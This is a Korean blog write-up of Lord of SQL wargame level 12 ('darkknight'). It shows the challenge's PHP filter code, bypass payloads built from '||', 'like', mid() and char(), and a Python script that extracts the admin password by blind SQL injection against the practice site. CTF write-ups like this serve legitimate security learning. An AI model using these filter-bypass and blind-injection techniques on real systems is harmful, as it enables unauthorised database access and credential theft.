EASY7

LOS 12번 문제 본문

Project/Lord of SQL

LOS 12번 문제

E.asiest 2019. 8. 9. 23:24


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe"); 
  
$query "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  
highlight_file(__FILE__); 
?>

 

'no'에 _ . ( ) 들어가면 안됨. substr, ascii 안됨

'pw'에 따옴표 들어가면 안됨.

 

no = 1 || length(pw) >7 %26%26 id like "admin"

no = 1 || length(pw) <9 %26%26 id like "admin"

이 두문장으로 pw의 길이가 8인것을 알 수 있다.

 

'no' : '1 || mid(pw, %d, 1) like char(\"%d\")    -- d' %(i, j)} 하면 답은 나오는데 admin의 조건이 안들어간다.

그래서 'no' : '1 || mid(pw, %d, 1) like char(\"%d\") and id like "admin"   -- d' %(i, j)}  하면 %%%%%%%%만 잡힌다...

생각건데.. mid(pw,%d,1) like "%" 이렇게 와일드카드로 잡혀서 그렇다. 왜 and id like "admin"이 없으면 패스워드가 나오는 것일까??? 


import requests

URL = "https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php"
cookies = {"PHPSESSID":"piik5dn813632dqai4b7d09fl7"}
password = ""

for i in range(1, 9) :
    for j in range(32, 127) :
        params={'no' : '1 || mid(pw, %d, 1) like char(\"%d\")    -- d' %(i, j)}
        res = requests.get(url=URL, params=params, cookies=cookies)
        if("Hello admin" in res.text):
            password += chr(j)
            break
print("password=" + password)

 


 

 

 

'Project > Lord of SQL' 카테고리의 다른 글

[Lord of SQL] GREMLIN #1  (0) 2020.07.24
LOS 11번  (1) 2019.08.04
Lord of the SQL 10번  (0) 2019.08.04
Lord of the SQL 9번  (0) 2019.08.04
Lord of the SQL 8번  (0) 2019.08.04
Comments